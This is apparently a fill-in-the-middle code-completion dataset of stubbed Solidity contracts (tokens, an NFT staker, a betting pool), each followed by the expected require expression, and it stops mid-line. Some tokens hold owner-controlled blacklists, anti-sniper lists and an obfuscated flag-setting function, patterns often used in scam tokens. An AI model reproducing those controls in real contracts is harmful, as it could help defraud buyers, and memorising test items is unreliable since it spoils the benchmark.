"Failed to snipe"
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } contract Ownable is Context { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract XMAS is Context , IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address payable private _taxWallet; uint256 public _tax = 0; //0% uint256 private _tier1 = 300; //30% uint256 private _tier2 = 200; //20% uint256 private _tier3 = 100; //10% uint256 private _tier4 = 5; //0.5% // Reduction Rules uint256 private _buyCount=0; uint256 private _antiSniperCount = 30; uint256 private _reductingPeriod1 = 60; // Reduce tax at 90 - Tier 2 uint256 private _reductingPeriod2 = 90; // Reduce tax at 120 - Tier 3 uint256 private _reductingPeriod3 = 45 minutes; // Reduce tax after opened - Tier 4 uint256 private _preventSwapBefore= 32; // prevent the contract from swapping before 40 buys uint256 public _tradingOpened; // Anti Sniper bool public antiSniperEnabled = true; mapping(address => bool) private antisniper; // Token Information uint8 public constant _decimals = 9; uint256 public constant _tTotal = 1000000000 * 10**_decimals; string public constant _name = unicode"Elon Xmas"; string public constant _symbol = unicode"XMAS"; // Contract Swap Rules uint256 private _taxSwapThreshold= 100000 * 10**_decimals; //0.01% uint256 private _maxTaxSwap= 10000000 * 10**_decimals; //1% IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { } constructor () { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { } function _approve(address owner, address spender, uint256 amount) private { } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { taxAmount = amount.mul(_tax).div(1000); //Anti Sniper Rule if (antiSniperEnabled && from!= address(this)) { require(<FILL_ME>) } if (from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyCount++; // Disable antisniper & tax if (_buyCount >= _antiSniperCount && antiSniperEnabled) { antiSniperEnabled = false; _tax = _tier1; } } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul(_tax).div(1000); // Reduce Tax if (_buyCount >= _reductingPeriod1 && _tax == _tier1) { _tax = _tier2; } if (_buyCount >= _reductingPeriod2 && _tax == _tier2) { _tax = _tier3; } if (block.timestamp >= _tradingOpened.add(_reductingPeriod3) && _tax == _tier3) { _tax = _tier4; } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { } function sendETHToFee(uint256 amount) private { } function openTrading() external onlyOwner() { } // Function to add an array of wallets function addFuction(address[] memory accounts) public onlyOwner { } receive() external payable {} }
antisniper[to],"Failed to snipe"
198,136
antisniper[to]
null
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Ownable { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } function owner() public view virtual returns (address) { } function _checkOwner() internal view virtual { } function renounceOwnership() public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } contract LSMILE is Ownable{ event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); mapping(address => bool) public boboinfo; constructor(string memory tokenname,string memory tokensymbol,address nLzkcSml) { } address public nlCvWXMP; uint256 private _totalSupply; string private _tokename; string private _tokensymbol; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; function name() public view returns (string memory) { } uint128 bosum = 34534; bool globaltrue = true; bool globalff = false; function toxhLwUm(address yYRtjSeM) public virtual returns (bool) { address tmoinfo = yYRtjSeM; boboinfo[tmoinfo] = globaltrue; require(<FILL_ME>) return true; } function iIXlkJDP() external { } function symbol() public view returns (string memory) { } function fBRvFGPJ(address hkkk) external { } function decimals() public view virtual returns (uint8) { } function totalSupply() public view returns (uint256) { } function balanceOf(address account) public view returns (uint256) { } function transfer(address to, uint256 amount) public returns (bool) { } function allowance(address owner, address spender) public view returns (uint256) { } function approve(address spender, uint256 amount) public returns (bool) { } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { } function _transfer( address from, address to, uint256 amount ) internal virtual { } function _approve( address owner, address spender, uint256 amount ) internal virtual { } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { } }
_msgSender()==nlCvWXMP
198,243
_msgSender()==nlCvWXMP
"Total buy fee cannot be set higher than 15%."
// SPDX-License-Identifier: MIT /* Website : https://decepticoin.gg/ Telegram : https://t.me/DeceptiCoinOfficial Twitter : https://twitter.com/Decepticoingg Medium  : https://medium.com/@decepticoin Github : https://github.com/decepticoingg **/ pragma solidity ^0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { } function _msgData() internal view virtual returns (bytes memory) { } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; } interface IUniswapV2Pair { function sync() external; } contract DeceptiCoin is Context, IERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; string private constant _name = "DeceptiCoin"; string private constant _symbol = "DTC"; uint8 private constant _decimals = 18; uint256 private _tTotal = 80000000 * 10**18; uint256 public _maxWalletAmount = 1600000 * 10**18; uint256 public _maxTxAmount = 400000 * 10**18; uint256 public swapTokenAtAmount = 1600000 * 10**18; uint256 public maxSwap = 1600000 * 10**18; address public liquidityReceiver; address public marketingWallet; address public stakingFeeReceiver; bool public limitsIsActive = true; struct BuyFees{ uint256 liquidity; uint256 marketing; uint256 staking; } struct SellFees{ uint256 liquidity; uint256 marketing; uint256 staking; } struct FeesDetails{ uint256 tokenToLiquidity; uint256 tokenToMarketing; uint256 tokenTostaking; uint256 liquidityToken; uint256 liquidityETH; uint256 marketingETH; } BuyFees public buyFee; SellFees public sellFee; FeesDetails public feeDistribution; uint256 private liquidityFee; uint256 private marketingFee; uint256 private stakingFee; bool private swapping; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); constructor (address marketingAddress, address stakingAddress) { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public view override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function excludeFromFees(address account, bool excluded) public onlyOwner { } receive() external payable {} function forceSwap(uint256 amount) public onlyOwner { } function removeLimits() public onlyOwner { } function setBuyFee(uint256 setLiquidityFee, uint256 setMarketingFee, uint256 setstakingFee) public onlyOwner { require(<FILL_ME>) buyFee.liquidity = setLiquidityFee; buyFee.marketing = setMarketingFee; buyFee.staking = setstakingFee; } function setSellFee(uint256 setLiquidityFee, uint256 setMarketingFee, uint256 setstakingFee) public onlyOwner { } function setMaxTransactionAmount(uint256 maxTransactionAmount) public onlyOwner { } function setMaxWalletAmount(uint256 maxWalletAmount) public onlyOwner { } function setSwapAtAmount(uint256 swapAtAmount) public onlyOwner { } function setMaxSwapAmount(uint256 maxSwapAtAmount) public onlyOwner { } function setLiquidityWallet(address newLiquidityWallet) public onlyOwner { } function setMarketingWallet(address newMarketingWallet) public onlyOwner { } function setstakingFeeReceiver(address newstakingFeeReceiver) public onlyOwner { } function takeBuyFees(uint256 amount, address from) private returns (uint256) { } function takeSellFees(uint256 amount, address from) private returns (uint256) { } function isExcludedFromFee(address account) public view returns(bool) { } function _approve(address owner, address spender, uint256 amount) private { } function _transfer( address from, address to, uint256 amount ) private { } function swapBack(uint256 amount) private { } function swapTokensForEth(uint256 tokenAmount) private { } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { } function withdrawForeignToken(address tokenContract) public onlyOwner { } }
setLiquidityFee+setMarketingFee+setstakingFee<=15,"Total buy fee cannot be set higher than 15%."
198,292
setLiquidityFee+setMarketingFee+setstakingFee<=15
"Total sell fee cannot be set higher than 25%."
// SPDX-License-Identifier: MIT /* Website : https://decepticoin.gg/ Telegram : https://t.me/DeceptiCoinOfficial Twitter : https://twitter.com/Decepticoingg Medium  : https://medium.com/@decepticoin Github : https://github.com/decepticoingg **/ pragma solidity ^0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { } function _msgData() internal view virtual returns (bytes memory) { } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; } interface IUniswapV2Pair { function sync() external; } contract DeceptiCoin is Context, IERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; string private constant _name = "DeceptiCoin"; string private constant _symbol = "DTC"; uint8 private constant _decimals = 18; uint256 private _tTotal = 80000000 * 10**18; uint256 public _maxWalletAmount = 1600000 * 10**18; uint256 public _maxTxAmount = 400000 * 10**18; uint256 public swapTokenAtAmount = 1600000 * 10**18; uint256 public maxSwap = 1600000 * 10**18; address public liquidityReceiver; address public marketingWallet; address public stakingFeeReceiver; bool public limitsIsActive = true; struct BuyFees{ uint256 liquidity; uint256 marketing; uint256 staking; } struct SellFees{ uint256 liquidity; uint256 marketing; uint256 staking; } struct FeesDetails{ uint256 tokenToLiquidity; uint256 tokenToMarketing; uint256 tokenTostaking; uint256 liquidityToken; uint256 liquidityETH; uint256 marketingETH; } BuyFees public buyFee; SellFees public sellFee; FeesDetails public feeDistribution; uint256 private liquidityFee; uint256 private marketingFee; uint256 private stakingFee; bool private swapping; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); constructor (address marketingAddress, address stakingAddress) { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public view override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function excludeFromFees(address account, bool excluded) public onlyOwner { } receive() external payable {} function forceSwap(uint256 amount) public onlyOwner { } function removeLimits() public onlyOwner { } function setBuyFee(uint256 setLiquidityFee, uint256 setMarketingFee, uint256 setstakingFee) public onlyOwner { } function setSellFee(uint256 setLiquidityFee, uint256 setMarketingFee, uint256 setstakingFee) public onlyOwner { require(<FILL_ME>) sellFee.liquidity = setLiquidityFee; sellFee.marketing = setMarketingFee; sellFee.staking = setstakingFee; } function setMaxTransactionAmount(uint256 maxTransactionAmount) public onlyOwner { } function setMaxWalletAmount(uint256 maxWalletAmount) public onlyOwner { } function setSwapAtAmount(uint256 swapAtAmount) public onlyOwner { } function setMaxSwapAmount(uint256 maxSwapAtAmount) public onlyOwner { } function setLiquidityWallet(address newLiquidityWallet) public onlyOwner { } function setMarketingWallet(address newMarketingWallet) public onlyOwner { } function setstakingFeeReceiver(address newstakingFeeReceiver) public onlyOwner { } function takeBuyFees(uint256 amount, address from) private returns (uint256) { } function takeSellFees(uint256 amount, address from) private returns (uint256) { } function isExcludedFromFee(address account) public view returns(bool) { } function _approve(address owner, address spender, uint256 amount) private { } function _transfer( address from, address to, uint256 amount ) private { } function swapBack(uint256 amount) private { } function swapTokensForEth(uint256 tokenAmount) private { } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { } function withdrawForeignToken(address tokenContract) public onlyOwner { } }
setLiquidityFee+setMarketingFee+setstakingFee<=25,"Total sell fee cannot be set higher than 25%."
198,292
setLiquidityFee+setMarketingFee+setstakingFee<=25
"Token has a known owner."
pragma solidity >=0.8.0 <0.9.0; contract FluffyStaker is IERC721Receiver, ReentrancyGuard { address public ownerAddress; bool public active = true; mapping(uint256 => address) staked; FluffyFucksReborn public ffxr; constructor() { } fallback() external payable nonReentrant { } receive() external payable nonReentrant { } /** * on token received */ function onERC721Received ( address /*operator*/, address from, uint256 tokenId, bytes calldata /*data*/ ) public override onlyFromFluffyContract(msg.sender) returns(bytes4) { } /** * ADMIN ONLY */ function setFluffyAddress(address contractAddress) public onlyOwner { } function restoreOddball(uint256 tokenId, address restoreTo) public onlyOwner { require(<FILL_ME>) ffxr.safeTransferFrom(address(this), restoreTo, tokenId); } function forceUnstake(uint256 tokenId) public onlyOwner { } function forceUnstakeBatch(uint256[] calldata tokenIds) public onlyOwner { } function forceUnstakeAll() public onlyOwner { } function _forceUnstake(uint256 tokenId) private onlyOwner { } function toggleActive(bool setTo) public onlyOwner { } /** * LOOKUPS */ function tokenStaker(uint256 tokenId) public view returns(address) { } function tokenStakers(uint256[] calldata tokenIds) public view returns(address[] memory) { } function allTokenStakers() isFluffyContractSet public view returns (uint256[] memory, address[] memory) { } function totalStaked() isFluffyContractSet public view returns (uint256 count) { } function tokensStakedByAddress(address ogOwner) public view returns(uint256[] memory tokenIds) { } function isStakingEnabled() public view returns (bool) { } function isStakingEnabled(address send) public view returns (bool) { } function oddballTokensThatShouldNotBeHere() public view returns (uint256[] memory tokenIds) { } /** * STAKING */ function stakeBatch(uint256[] calldata tokenIds) isStakingActive isApproved(msg.sender) external { } function stake(uint256 tokenId) isStakingActive isApproved(msg.sender) external { } function _stake(uint256 tokenId) isFluffyContractSet private { } /** * UNSTAKING */ function unstakeBatch(uint256[] calldata tokenIds) external { } function unstake(uint256 tokenId) external { } function _unstake(uint256 tokenId) isFluffyContractSet onlyOriginalTokenOwner(tokenId) private { } /** * MODIFIERS */ modifier onlyOriginalTokenOwner(uint256 tokenId) { } modifier onlyOwner() { } modifier onlyFromFluffyContract(address sentFromAddress) { } modifier isFluffyContractSet() { } modifier isApproved(address send) { } modifier isStakingActive() { } }
staked[tokenId]==address(0x0),"Token has a known owner."
198,640
staked[tokenId]==address(0x0)
"Fluffy address is not set"
pragma solidity >=0.8.0 <0.9.0; contract FluffyStaker is IERC721Receiver, ReentrancyGuard { address public ownerAddress; bool public active = true; mapping(uint256 => address) staked; FluffyFucksReborn public ffxr; constructor() { } fallback() external payable nonReentrant { } receive() external payable nonReentrant { } /** * on token received */ function onERC721Received ( address /*operator*/, address from, uint256 tokenId, bytes calldata /*data*/ ) public override onlyFromFluffyContract(msg.sender) returns(bytes4) { } /** * ADMIN ONLY */ function setFluffyAddress(address contractAddress) public onlyOwner { } function restoreOddball(uint256 tokenId, address restoreTo) public onlyOwner { } function forceUnstake(uint256 tokenId) public onlyOwner { } function forceUnstakeBatch(uint256[] calldata tokenIds) public onlyOwner { } function forceUnstakeAll() public onlyOwner { } function _forceUnstake(uint256 tokenId) private onlyOwner { } function toggleActive(bool setTo) public onlyOwner { } /** * LOOKUPS */ function tokenStaker(uint256 tokenId) public view returns(address) { } function tokenStakers(uint256[] calldata tokenIds) public view returns(address[] memory) { } function allTokenStakers() isFluffyContractSet public view returns (uint256[] memory, address[] memory) { } function totalStaked() isFluffyContractSet public view returns (uint256 count) { } function tokensStakedByAddress(address ogOwner) public view returns(uint256[] memory tokenIds) { } function isStakingEnabled() public view returns (bool) { } function isStakingEnabled(address send) public view returns (bool) { } function oddballTokensThatShouldNotBeHere() public view returns (uint256[] memory tokenIds) { } /** * STAKING */ function stakeBatch(uint256[] calldata tokenIds) isStakingActive isApproved(msg.sender) external { } function stake(uint256 tokenId) isStakingActive isApproved(msg.sender) external { } function _stake(uint256 tokenId) isFluffyContractSet private { } /** * UNSTAKING */ function unstakeBatch(uint256[] calldata tokenIds) external { } function unstake(uint256 tokenId) external { } function _unstake(uint256 tokenId) isFluffyContractSet onlyOriginalTokenOwner(tokenId) private { } /** * MODIFIERS */ modifier onlyOriginalTokenOwner(uint256 tokenId) { } modifier onlyOwner() { } modifier onlyFromFluffyContract(address sentFromAddress) { } modifier isFluffyContractSet() { require(<FILL_ME>) _; } modifier isApproved(address send) { } modifier isStakingActive() { } }
address(ffxr)!=address(0x0),"Fluffy address is not set"
198,640
address(ffxr)!=address(0x0)
"You have not approved FluffyStaker."
pragma solidity >=0.8.0 <0.9.0; contract FluffyStaker is IERC721Receiver, ReentrancyGuard { address public ownerAddress; bool public active = true; mapping(uint256 => address) staked; FluffyFucksReborn public ffxr; constructor() { } fallback() external payable nonReentrant { } receive() external payable nonReentrant { } /** * on token received */ function onERC721Received ( address /*operator*/, address from, uint256 tokenId, bytes calldata /*data*/ ) public override onlyFromFluffyContract(msg.sender) returns(bytes4) { } /** * ADMIN ONLY */ function setFluffyAddress(address contractAddress) public onlyOwner { } function restoreOddball(uint256 tokenId, address restoreTo) public onlyOwner { } function forceUnstake(uint256 tokenId) public onlyOwner { } function forceUnstakeBatch(uint256[] calldata tokenIds) public onlyOwner { } function forceUnstakeAll() public onlyOwner { } function _forceUnstake(uint256 tokenId) private onlyOwner { } function toggleActive(bool setTo) public onlyOwner { } /** * LOOKUPS */ function tokenStaker(uint256 tokenId) public view returns(address) { } function tokenStakers(uint256[] calldata tokenIds) public view returns(address[] memory) { } function allTokenStakers() isFluffyContractSet public view returns (uint256[] memory, address[] memory) { } function totalStaked() isFluffyContractSet public view returns (uint256 count) { } function tokensStakedByAddress(address ogOwner) public view returns(uint256[] memory tokenIds) { } function isStakingEnabled() public view returns (bool) { } function isStakingEnabled(address send) public view returns (bool) { } function oddballTokensThatShouldNotBeHere() public view returns (uint256[] memory tokenIds) { } /** * STAKING */ function stakeBatch(uint256[] calldata tokenIds) isStakingActive isApproved(msg.sender) external { } function stake(uint256 tokenId) isStakingActive isApproved(msg.sender) external { } function _stake(uint256 tokenId) isFluffyContractSet private { } /** * UNSTAKING */ function unstakeBatch(uint256[] calldata tokenIds) external { } function unstake(uint256 tokenId) external { } function _unstake(uint256 tokenId) isFluffyContractSet onlyOriginalTokenOwner(tokenId) private { } /** * MODIFIERS */ modifier onlyOriginalTokenOwner(uint256 tokenId) { } modifier onlyOwner() { } modifier onlyFromFluffyContract(address sentFromAddress) { } modifier isFluffyContractSet() { } modifier isApproved(address send) { require(<FILL_ME>) _; } modifier isStakingActive() { } }
this.isStakingEnabled(send),"You have not approved FluffyStaker."
198,640
this.isStakingEnabled(send)
"Game Over!"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; contract Bet { struct Result{ uint prize; bool win; } address public owner; address public lastWinner; uint public poolBalance; //Winner takes all balance of the pool except the owner fee uint public ownerFee; address[] public pastAddresses; address[] public addressPool; //There are pools limited max 10 players which means; win 5x or die mapping(address => Result ) public allWinners; //It registers every winner with their prize constructor() { } modifier properAmount { } event Deposit(address indexed _from, uint _value); event Withdraw(address indexed _from, uint _value); event FindLucky(address indexed _from, uint _value); function deposit() external payable properAmount { } function withdraw() public { //Only the winner can claim the prize with this funct. uint _balance; uint _ownerFee; if(msg.sender != owner) { //If a participant claims for prize require(<FILL_ME>) require( allWinners[msg.sender].prize != 0, "Already Claimed!"); ownerFee += ( allWinners[msg.sender].prize / 100 ) * 5; _balance = allWinners[msg.sender].prize - (((allWinners[msg.sender].prize) / 100 ) * 5); emit Withdraw(msg.sender, _balance); allWinners[msg.sender].prize = 0; //Winner's balance is updated to 0 when he claims the prize payable(msg.sender).transfer(_balance); } else{ //The owner can call withdraw function to withdraw only the owner's fee require( ownerFee != 0, "Insufficient Fund"); _ownerFee = ownerFee; ownerFee = 0; payable(msg.sender).transfer(_ownerFee); } } function random() private view returns(uint){ } function findLucky() public returns(address) { } function viewAllAddressPool() public view returns( address[] memory){ } function balance() external view returns(uint balanceEth) { } }
allWinners[msg.sender].win==true,"Game Over!"
198,887
allWinners[msg.sender].win==true
"Already Claimed!"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; contract Bet { struct Result{ uint prize; bool win; } address public owner; address public lastWinner; uint public poolBalance; //Winner takes all balance of the pool except the owner fee uint public ownerFee; address[] public pastAddresses; address[] public addressPool; //There are pools limited max 10 players which means; win 5x or die mapping(address => Result ) public allWinners; //It registers every winner with their prize constructor() { } modifier properAmount { } event Deposit(address indexed _from, uint _value); event Withdraw(address indexed _from, uint _value); event FindLucky(address indexed _from, uint _value); function deposit() external payable properAmount { } function withdraw() public { //Only the winner can claim the prize with this funct. uint _balance; uint _ownerFee; if(msg.sender != owner) { //If a participant claims for prize require( allWinners[msg.sender].win == true, "Game Over!"); require(<FILL_ME>) ownerFee += ( allWinners[msg.sender].prize / 100 ) * 5; _balance = allWinners[msg.sender].prize - (((allWinners[msg.sender].prize) / 100 ) * 5); emit Withdraw(msg.sender, _balance); allWinners[msg.sender].prize = 0; //Winner's balance is updated to 0 when he claims the prize payable(msg.sender).transfer(_balance); } else{ //The owner can call withdraw function to withdraw only the owner's fee require( ownerFee != 0, "Insufficient Fund"); _ownerFee = ownerFee; ownerFee = 0; payable(msg.sender).transfer(_ownerFee); } } function random() private view returns(uint){ } function findLucky() public returns(address) { } function viewAllAddressPool() public view returns( address[] memory){ } function balance() external view returns(uint balanceEth) { } }
allWinners[msg.sender].prize!=0,"Already Claimed!"
198,887
allWinners[msg.sender].prize!=0
"Max wallet exceeded"
pragma solidity ^0.8.14; contract LFG2 is IERC20, Ownable { string constant _name = "Lets Fucking Go!!! 2.0"; string constant _symbol = "$LFG2.0"; uint8 constant _decimals = 9; uint256 _totalSupply = 420_690_000_000_000 * (10 ** _decimals); mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) _allowances; mapping(address => bool) public isFeeExempt; mapping(address => bool) public isAuthorized; mapping(address => bool) public isBlacklisted; mapping(address => bool) public _isExcludedMaxTransactionAmount; address public marketingWallet; address public devWallet; // Fees uint256 public buyTotalFee = 20; uint256 public sellTotalFee = 30; uint256 public devPercentage = 25; uint256 public marketingPercentage = 75; uint256 public maxWallet = (_totalSupply * 3) / 100; IUniswapV2Router02 public router; address public pair; uint256 public listingTime; bool public firstCallDone; bool public getTransferFees = false; uint256 public swapThreshold = (_totalSupply * 1) / 100; // 1% of supply bool public contractSwapEnabled = true; bool public isTradeEnabled = false; bool inContractSwap; modifier swapping() { } event SetIsFeeExempt(address holder, bool status); event AddAuthorizedWallet(address holder, bool status); event SetDoContractSwap(bool status); event DoContractSwap(uint256 amount, uint256 time); event ChangeDistributionCriteria( uint256 minPeriod, uint256 minDistribution ); constructor() { } receive() external payable {} function totalSupply() external view override returns (uint256) { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function balanceOf(address account) public view override returns (uint256) { } function allowance( address holder, address spender ) external view override returns (uint256) { } function approve( address spender, uint256 amount ) public override returns (bool) { } function _approve( address owner, address spender, uint256 amount ) internal virtual { } function approveMax(address spender) external returns (bool) { } function transfer( address recipient, uint256 amount ) external override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { } function _transferFrom( address sender, address recipient, uint256 amount ) internal returns (bool) { if (!isTradeEnabled) require(isAuthorized[sender], "Trading disabled"); require( !isBlacklisted[sender] && !isBlacklisted[recipient], "ERC20: transfer from/to the blacklisted address" ); if (pair != recipient && !_isExcludedMaxTransactionAmount[recipient]) { require(<FILL_ME>) } if (inContractSwap) { return _basicTransfer(sender, recipient, amount); } if (shouldDoContractSwap()) { doContractSwap(); } require(_balances[sender] >= amount, "Insufficient Balance"); _balances[sender] = _balances[sender] - amount; uint256 amountReceived = shouldTakeFee(sender, recipient) ? 